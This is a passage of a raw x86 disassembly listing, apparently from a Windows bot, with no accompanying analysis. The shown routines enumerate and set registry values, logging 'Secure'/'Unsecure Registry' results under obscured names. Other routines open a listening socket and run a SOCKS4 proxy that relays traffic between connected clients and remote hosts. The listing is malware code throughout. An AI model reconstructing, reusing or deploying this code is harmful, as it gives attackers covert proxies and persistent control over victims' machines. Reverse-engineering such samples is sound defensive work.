		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		push	[ebp+var_8]
		call	dword_456EC4	; RegQueryInfoKeyA
		cmp	[ebp+var_C], ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_421205
		xor	esi, esi
		cmp	[ebp+var_C], ebx
		jbe	short loc_421205


loc_4211B5:				; CODE XREF: sub_421126+DDj
		lea	eax, [ebp+var_30]
		mov	[ebp+var_1C], edi
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	esi
		push	[ebp+var_8]
		call	dword_456E68	; RegEnumKeyExA
		test	eax, eax
		jnz	short loc_4211FC
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [esi+1]
		push	[ebp+arg_4]
		push	eax
		push	offset a_2dSS	; "(%.2d) %s\\%s"
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_41CE4A
		add	esp, 18h
		inc	[ebp+var_4]


loc_4211FC:				; CODE XREF: sub_421126+B0j
		inc	esi
		inc	[ebp+arg_0]
		cmp	esi, [ebp+var_C]
		jb	short loc_4211B5


loc_421205:				; CODE XREF: sub_421126+86j
					; sub_421126+8Dj
		cmp	[ebp+var_10], ebx
		jz	loc_4212B0
		xor	edi, edi
		cmp	[ebp+var_10], ebx
		jbe	loc_4212B0
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+1]


loc_42121F:				; CODE XREF: sub_421126+184j
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_604]
		push	eax
		push	edi
		push	[ebp+var_8]
		mov	[ebp+var_14], 0FAh
		mov	[ebp+var_604], bl
		call	dword_456E04	; RegEnumValueA
		test	eax, eax
		jnz	short loc_4212A5
		lea	eax, [ebp+var_604]
		push	offset byte_454A54
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_42127B
		cmp	[ebp+var_18], 1
		jnz	short loc_42127B
		lea	eax, [ebp+var_604]
		push	offset aDefault	; "(Default)"
		push	eax
		call	sub_429B03
		pop	ecx
		pop	ecx


loc_42127B:				; CODE XREF: sub_421126+13Aj
					; sub_421126+140j
		push	[ebp+var_18]
		call	sub_420F07
		push	eax
		lea	eax, [ebp+var_604]
		push	eax
		push	[ebp+arg_4]
		push	esi
		push	offset a_2dSSS	; "(%.2d) %s\\%s (%s)"
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_41CE4A
		add	esp, 20h
		inc	[ebp+var_4]


loc_4212A5:				; CODE XREF: sub_421126+124j
		inc	edi
		inc	esi
		cmp	edi, [ebp+var_10]
		jb	loc_42121F


loc_4212B0:				; CODE XREF: sub_421126+E2j
					; sub_421126+EDj
		push	[ebp+var_8]
		call	dword_456F08	; RegCloseKey
		xor	eax, eax
		cmp	[ebp+var_4], ebx
		pop	esi
		setnle	al
		jmp	short loc_4212C6
; ---------------------------------------------------------------------------


loc_4212C4:				; CODE XREF: sub_421126+44j
		xor	eax, eax


loc_4212C6:				; CODE XREF: sub_421126+19Cj
		pop	edi
		pop	ebx
		leave
		retn
sub_421126	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4212CA	proc near		; CODE XREF: sub_41BC0B+96p
					; sub_41BCED+1Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	4
		pop	eax
		xor	esi, esi
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], esi
		push	eax
		push	0F003Fh
		push	esi
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_421336
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_456DF0	; RegQueryValueExA
		push	[ebp+var_4]
		test	eax, eax
		jnz	short loc_421330
		call	dword_456F08	; RegCloseKey
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+var_8]
		jmp	short loc_42133D
; ---------------------------------------------------------------------------


loc_421330:				; CODE XREF: sub_4212CA+50j
		call	dword_456F08	; RegCloseKey


loc_421336:				; CODE XREF: sub_4212CA+30j
		mov	eax, [ebp+arg_C]
		mov	[eax], esi
		xor	eax, eax


loc_42133D:				; CODE XREF: sub_4212CA+64j
		pop	esi
		leave
		retn
sub_4212CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421340	proc near		; CODE XREF: sub_418FA1+5Cp
					; sub_421092+71p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	eax, 0FFFFh
		push	esi
		xor	ebx, ebx
		push	eax
		mov	esi, offset dword_45AFE8
		push	ebx
		push	esi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4213E2
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_456DF0	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4213D9
		cmp	[ebp+arg_C], 7
		jnz	short loc_4213CC
		mov	ecx, [ebp+var_8]
		mov	byte ptr dword_45AFE8[ecx], bl


loc_4213A4:				; CODE XREF: sub_421340+72j
		cmp	ecx, ebx
		jz	short loc_4213B4
		dec	ecx
		mov	[ebp+var_8], ecx
		cmp	byte ptr dword_45AFE8[ecx], bl
		jz	short loc_4213A4


loc_4213B4:				; CODE XREF: sub_421340+66j
		xor	edx, edx
		cmp	ecx, ebx
		jbe	short loc_4213CC


loc_4213BA:				; CODE XREF: sub_421340+8Aj
		lea	eax, dword_45AFE8[edx]
		cmp	[eax], bl
		jnz	short loc_4213C7
		mov	byte ptr [eax],	0Ah


loc_4213C7:				; CODE XREF: sub_421340+82j
		inc	edx
		cmp	edx, ecx
		jb	short loc_4213BA


loc_4213CC:				; CODE XREF: sub_421340+59j
					; sub_421340+78j
		push	[ebp+var_4]
		call	dword_456F08	; RegCloseKey
		mov	eax, esi
		jmp	short loc_4213E4
; ---------------------------------------------------------------------------


loc_4213D9:				; CODE XREF: sub_421340+53j
		push	[ebp+var_4]
		call	dword_456F08	; RegCloseKey


loc_4213E2:				; CODE XREF: sub_421340+3Cj
		xor	eax, eax


loc_4213E4:				; CODE XREF: sub_421340+97j
		pop	esi
		pop	ebx
		leave
		retn
sub_421340	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4213E8	proc near		; CODE XREF: sub_418FA1+2EBp
					; sub_418FA1+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+var_4]
		mov	eax, [ebp+arg_C]
		push	eax
		push	4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421450
		add	esp, 18h
		leave
		retn
sub_4213E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421409	proc near		; CODE XREF: sub_418E0F+154p
					; sub_418FA1+2D5p ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_10], 1
		mov	eax, [ebp+arg_C]
		jnz	short loc_421430
		push	eax
		push	[ebp+var_8]
		push	1


loc_42141D:				; CODE XREF: sub_421409+33j
					; sub_421409+41j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421450
		add	esp, 18h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421430:				; CODE XREF: sub_421409+Cj
		cmp	[ebp+arg_10], 2
		jnz	short loc_42143E
		push	eax
		push	[ebp+var_8]
		push	2
		jmp	short loc_42141D
; ---------------------------------------------------------------------------


loc_42143E:				; CODE XREF: sub_421409+2Bj
		cmp	[ebp+arg_10], 7
		jnz	short loc_42144C
		push	eax
		push	[ebp+var_8]
		push	7
		jmp	short loc_42141D
; ---------------------------------------------------------------------------


loc_42144C:				; CODE XREF: sub_421409+39j
		xor	eax, eax
		leave
		retn
sub_421409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421450	proc near		; CODE XREF: sub_4213E8+17p
					; sub_421409+1Dp

var_10004	= byte ptr -10004h
var_10003	= byte ptr -10003h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 10004h
		call	sub_429B60
		push	ebx
		xor	ebx, ebx
		lea	eax, [ebp+arg_4]
		push	ebx
		push	eax
		push	ebx
		push	20006h
		push	ebx
		push	ebx
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_456ED4	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_421485
		xor	eax, eax
		jmp	loc_421555
; ---------------------------------------------------------------------------


loc_421485:				; CODE XREF: sub_421450+2Cj
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		cmp	edi, ebx
		jz	loc_421545
		mov	eax, [ebp+arg_C]
		dec	eax
		jz	loc_421558
		dec	eax
		jz	short loc_421510
		dec	eax
		dec	eax
		jz	short loc_421500
		sub	eax, 3
		jnz	loc_421548
		push	[ebp+arg_14]
		call	sub_4293A0
		pop	ecx
		mov	esi, eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10004]
		push	eax
		call	dword_4370B4	; lstrcpyA
		xor	ecx, ecx
		cmp	esi, ebx
		mov	[ebp+esi+var_10004], bl
		mov	[ebp+esi+var_10003], bl
		jle	short loc_4214F0


loc_4214DB:				; CODE XREF: sub_421450+9Cj
		lea	eax, [ebp+ecx+var_10004]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4214E9
		mov	[eax], bl


loc_4214E9:				; CODE XREF: sub_421450+95j
		inc	ecx
		cmp	ecx, esi
		jl	short loc_4214DB
		cmp	esi, ebx


loc_4214F0:				; CODE XREF: sub_421450+89j
		jz	short loc_4214F4
		inc	esi
		inc	esi


loc_4214F4:				; CODE XREF: sub_421450:loc_4214F0j
		lea	eax, [ebp+var_10004]
		push	esi
		push	eax
		push	7
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421500:				; CODE XREF: sub_421450+51j
		mov	eax, [ebp+arg_10]
		push	4
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	4
		jmp	short loc_421536
; ---------------------------------------------------------------------------


loc_421510:				; CODE XREF: sub_421450+4Dj
		push	[ebp+arg_14]
		call	sub_4293A0
		pop	ecx
		mov	esi, eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10004]
		push	eax
		call	dword_4370B4	; lstrcpyA
		inc	esi
		lea	eax, [ebp+var_10004]
		push	esi
		push	eax
		push	2


loc_421536:				; CODE XREF: sub_421450+AEj
					; sub_421450+BEj ...
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	dword_456F64	; RegSetValueExA
		test	eax, eax
		jnz	short loc_421548


loc_421545:				; CODE XREF: sub_421450+3Cj
		xor	ebx, ebx
		inc	ebx


loc_421548:				; CODE XREF: sub_421450+56j
					; sub_421450+F3j
		push	[ebp+arg_4]
		call	dword_456F08	; RegCloseKey
		pop	edi
		mov	eax, ebx
		pop	esi


loc_421555:				; CODE XREF: sub_421450+30j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421558:				; CODE XREF: sub_421450+46j
		push	[ebp+arg_14]
		call	sub_4293A0
		pop	ecx
		mov	esi, eax
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10004]
		push	eax
		call	dword_4370B4	; lstrcpyA
		inc	esi
		lea	eax, [ebp+var_10004]
		push	esi
		push	eax
		push	1
		jmp	short loc_421536
sub_421450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421580	proc near		; CODE XREF: sub_421676+125p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_421596:				; CODE XREF: sub_421580+BBj
					; sub_421580+EBj
		xor	ecx, ecx
		mov	[ebp+var_100], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp+var_104], ecx


loc_4215A7:				; CODE XREF: sub_421580+36j
		mov	edx, [ebp+arg_0]
		cmp	[ebp+eax*4+var_100], edx
		jz	short loc_4215B8
		inc	eax
		cmp	eax, ecx
		jb	short loc_4215A7


loc_4215B8:				; CODE XREF: sub_421580+31j
		cmp	eax, ecx
		jnz	short loc_4215C9
		mov	[ebp+eax*4+var_100], edx
		inc	[ebp+var_104]


loc_4215C9:				; CODE XREF: sub_421580+3Aj
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_456F1C	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_456DD8	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_421629
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_456F58	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421671
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421671


loc_421629:				; CODE XREF: sub_421580+7Bj
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_456DD8	; __WSAFDIsSet
		test	eax, eax
		jz	loc_421596
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_456F58	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421671
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_421596


loc_421671:				; CODE XREF: sub_421580+90j
					; sub_421580+A7j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421580	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421676	proc near		; DATA XREF: sub_4217A4+99o

var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_420		= byte ptr -420h
var_41F		= byte ptr -41Fh
var_41E		= word ptr -41Eh
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 524h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		push	ebx
		lea	eax, [ebp+var_524]
		push	ebx
		inc	edi
		push	eax
		push	ebx
		mov	[ebp+var_8], 5
		mov	[ebp+var_4], ebx
		mov	[ebp+var_520], esi
		mov	[ebp+var_524], edi
		call	dword_456F1C	; select
		test	eax, eax
		jz	loc_421769
		push	ebx
		lea	eax, [ebp+var_420]
		push	408h
		push	eax
		push	esi
		call	dword_456F58	; recv
		test	eax, eax
		jle	loc_421769
		cmp	[ebp+var_420], 4
		jnz	loc_421769
		cmp	[ebp+var_41F], 1
		jnz	short loc_421769
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_429760
		mov	ax, [ebp+var_41E]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_41C]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_456FD0	; socket
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		push	400h
		lea	eax, [ebp+var_418]
		push	ebx
		mov	[ebp+var_420], bl
		push	eax
		jnz	short loc_421779
		mov	[ebp+var_41F], 5Bh
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_420]
		push	ebx
		push	8
		push	eax
		push	esi
		call	dword_456F8C	; send


loc_421769:				; CODE XREF: sub_421676+40j
					; sub_421676+5Cj ...
		push	esi
		call	dword_456FF0	; closesocket


loc_421770:				; CODE XREF: sub_421676+12Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_421779:				; CODE XREF: sub_421676+D1j
		mov	[ebp+var_41F], 5Ah
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_420]
		push	ebx
		push	8
		push	eax
		push	esi
		call	dword_456F8C	; send
		push	esi
		push	edi
		call	sub_421580
		pop	ecx
		pop	ecx
		jmp	short loc_421770
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4217A4	proc near		; DATA XREF: sub_40A9FE+17CAo

var_E4		= byte ptr -0E4h
var_60		= dword	ptr -60h
var_44		= dword	ptr -44h
var_20		= byte ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0E4h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	31h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_E4]
		mov	[ebp+var_10], 2
		rep movsd
		push	[ebp+var_44]
		xor	edi, edi
		inc	edi
		mov	[eax+0BCh], edi
		call	dword_456F38	; ntohs
		push	6
		xor	esi, esi
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		call	dword_456FD0	; socket
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_456F6C	; bind
		test	eax, eax
		jz	short loc_42180E
		push	[ebp+var_60]
		call	sub_423623
		pop	ecx
		push	esi
		call	dword_437174	; ExitThread


loc_42180E:				; CODE XREF: sub_4217A4+58j
		push	0Ah
		push	edi
		call	dword_456F68	; listen
		test	eax, eax
		jz	short loc_42182B
		push	[ebp+var_60]
		call	sub_423623
		pop	ecx
		push	esi
		call	dword_437174	; ExitThread


loc_42182B:				; CODE XREF: sub_4217A4+75j
					; sub_4217A4+A6j
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	edi
		call	dword_456FE4	; accept
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		push	eax
		push	offset sub_421676
		push	esi
		push	esi
		call	dword_437180	; CreateThread
		jmp	short loc_42182B
sub_4217A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42184C	proc near		; CODE XREF: sub_422009+43p
					; sub_422009+9Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	edx, edx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], edx
		xor	esi, esi


loc_42185E:				; CODE XREF: sub_42184C+23Ej
		mov	eax, dword_44E18C[esi]
		cmp	eax, 4
		jnz	loc_421975
		cmp	[ebp+arg_0], edx
		jz	short loc_42187A
		mov	eax, dword_44E190[esi]
		jmp	short loc_421880
; ---------------------------------------------------------------------------


loc_42187A:				; CODE XREF: sub_42184C+24j
		mov	eax, dword_44E194[esi]


loc_421880:				; CODE XREF: sub_42184C+2Cj
		lea	edi, dword_44E08B[esi]
		lea	ebx, dword_44DF8C[esi]
		push	eax
		push	edi
		push	ebx
		push	dword_44DF88[esi]
		call	sub_4213E8
		add	esp, 10h
		test	eax, eax
		jz	short loc_42190B
		inc	[ebp+var_8]
		cmp	[ebp+arg_14], 0
		jnz	loc_421A7C
		cmp	[ebp+arg_10], 0
		jz	loc_421A7C
		cmp	[ebp+arg_C], 0
		jnz	loc_421A7C
		cmp	[ebp+arg_0], 0
		jz	short loc_4218D0
		mov	ecx, dword_44E190[esi]
		jmp	short loc_4218D6
; ---------------------------------------------------------------------------


loc_4218D0:				; CODE XREF: sub_42184C+7Aj
		mov	ecx, dword_44E194[esi]


loc_4218D6:				; CODE XREF: sub_42184C+82j
		cmp	dword_44DF88[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_4218EC
		mov	edx, offset aHkcu ; "HKCU"


loc_4218EC:				; CODE XREF: sub_42184C+99j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jnz	short loc_4218FC
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_4218FC:				; CODE XREF: sub_42184C+A9j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSSetSSSToD_ ; "%s Set \"%s\\%s\\%s\" to	\"%d\"."
		jmp	loc_421A6E
; ---------------------------------------------------------------------------


loc_42190B:				; CODE XREF: sub_42184C+53j
		inc	[ebp+var_4]
		cmp	[ebp+arg_14], 0
		jnz	loc_421A7C
		cmp	[ebp+arg_10], 0
		jz	loc_421A7C
		cmp	[ebp+arg_C], 0
		jnz	loc_421A7C
		cmp	[ebp+arg_0], 0
		jz	short loc_42193A
		mov	ecx, dword_44E190[esi]
		jmp	short loc_421940
; ---------------------------------------------------------------------------


loc_42193A:				; CODE XREF: sub_42184C+E4j
		mov	ecx, dword_44E194[esi]


loc_421940:				; CODE XREF: sub_42184C+ECj
		cmp	dword_44DF88[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_421956
		mov	edx, offset aHkcu ; "HKCU"


loc_421956:				; CODE XREF: sub_42184C+103j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jnz	short loc_421966
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_421966:				; CODE XREF: sub_42184C+113j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSFailedToSetSS ; "%s Failed to set \"%s\\%s\\%s\" to \"%d\"."
		jmp	loc_421A6E
; ---------------------------------------------------------------------------


loc_421975:				; CODE XREF: sub_42184C+1Bj
		cmp	eax, 1
		jnz	loc_421A7E
		inc	[ebp+var_8]
		cmp	[ebp+arg_0], edx
		lea	eax, dword_44E198[esi]
		jnz	short loc_421992
		lea	eax, dword_44E297[esi]


loc_421992:				; CODE XREF: sub_42184C+13Ej
		lea	edi, dword_44E08B[esi]
		push	1
		lea	ebx, dword_44DF8C[esi]
		push	eax
		push	edi
		push	ebx
		push	dword_44DF88[esi]
		call	sub_421409
		add	esp, 14h
		test	eax, eax
		jz	short loc_421A17
		cmp	[ebp+arg_14], 0
		jnz	loc_421A7C
		cmp	[ebp+arg_10], 0
		jz	loc_421A7C
		cmp	[ebp+arg_C], 0
		jnz	loc_421A7C
		cmp	[ebp+arg_0], 0
		lea	ecx, dword_44E198[esi]
		jnz	short loc_4219E5
		lea	ecx, dword_44E297[esi]


loc_4219E5:				; CODE XREF: sub_42184C+191j
		cmp	dword_44DF88[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_4219FB
		mov	edx, offset aHkcu ; "HKCU"


loc_4219FB:				; CODE XREF: sub_42184C+1A8j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jnz	short loc_421A0B
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_421A0B:				; CODE XREF: sub_42184C+1B8j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSSetSSSToS_ ; "%s Set \"%s\\%s\\%s\" to	\"%s\"."
		jmp	short loc_421A6E
; ---------------------------------------------------------------------------


loc_421A17:				; CODE XREF: sub_42184C+167j
		inc	[ebp+var_4]
		cmp	[ebp+arg_14], 0
		jnz	short loc_421A7C
		cmp	[ebp+arg_10], 0
		jz	short loc_421A7C
		cmp	[ebp+arg_C], 0
		jnz	short loc_421A7C
		cmp	[ebp+arg_0], 0
		lea	ecx, dword_44E198[esi]
		jnz	short loc_421A3E
		lea	ecx, dword_44E297[esi]


loc_421A3E:				; CODE XREF: sub_42184C+1EAj
		cmp	dword_44DF88[esi], 80000002h
		mov	edx, offset aHklm ; "HKLM"
		jz	short loc_421A54
		mov	edx, offset aHkcu ; "HKCU"


loc_421A54:				; CODE XREF: sub_42184C+201j
		cmp	[ebp+arg_0], 0
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jnz	short loc_421A64
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_421A64:				; CODE XREF: sub_42184C+211j
		push	ecx
		push	edi
		push	ebx
		push	edx
		push	eax
		push	offset aSFailedToSet_0 ; "%s Failed to set \"%s\\%s\\%s\" to \"%s\"."


loc_421A6E:				; CODE XREF: sub_42184C+BAj
					; sub_42184C+124j ...
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 20h


loc_421A7C:				; CODE XREF: sub_42184C+5Cj
					; sub_42184C+66j ...
		xor	edx, edx


loc_421A7E:				; CODE XREF: sub_42184C+12Cj
		add	esi, 410h
		cmp	esi, 0C30h
		jb	loc_42185E
		cmp	[ebp+var_8], edx
		pop	edi
		pop	esi
		pop	ebx
		jnz	short loc_421ACF
		cmp	[ebp+arg_10], edx
		jnz	short locret_421B0D
		cmp	[ebp+arg_C], edx
		jnz	short locret_421B0D
		cmp	[ebp+arg_14], edx
		jnz	short locret_421B0D
		cmp	[ebp+arg_0], edx
		mov	ecx, offset aSecured ; "Secured"
		jnz	short loc_421AC8
		mov	ecx, offset aUnsecure ;	"Unsecure"
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_421ABB:				; CODE XREF: sub_42184C+281j
		push	[ebp+var_4]
		push	edx
		push	ecx
		push	eax
		push	offset aSFailedToSRegi ; "%s Failed to %s Registry, (%.2d/%.2d)"
		jmp	short loc_421AFF
; ---------------------------------------------------------------------------


loc_421AC8:				; CODE XREF: sub_42184C+263j
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jmp	short loc_421ABB
; ---------------------------------------------------------------------------


loc_421ACF:				; CODE XREF: sub_42184C+24Aj
		cmp	[ebp+arg_10], edx
		jnz	short locret_421B0D
		cmp	[ebp+arg_C], edx
		jnz	short locret_421B0D
		cmp	[ebp+arg_14], edx
		jnz	short locret_421B0D
		cmp	[ebp+arg_0], edx
		mov	ecx, offset aSecure ; "Secure"
		jnz	short loc_421B0F
		mov	ecx, offset aUnsecure ;	"Unsecure"
		mov	eax, offset aJvatg1988z81 ; "jVATg1988z81"


loc_421AF2:				; CODE XREF: sub_42184C+2C8j
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ecx
		push	eax
		push	offset aSRegistryS_2d_ ; "%s Registry %s, (%.2d/%.2d)"


loc_421AFF:				; CODE XREF: sub_42184C+27Aj
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 1Ch

locret_421B0D:				; CODE XREF: sub_42184C+24Fj
					; sub_42184C+254j ...
		leave
		retn
; ---------------------------------------------------------------------------


loc_421B0F:				; CODE XREF: sub_42184C+29Aj
		mov	eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
		jmp	short loc_421AF2
sub_42184C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B16	proc near		; CODE XREF: sub_422009+4Ep
					; sub_422009+B6p

var_4E54	= byte ptr -4E54h
var_2744	= byte ptr -2744h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
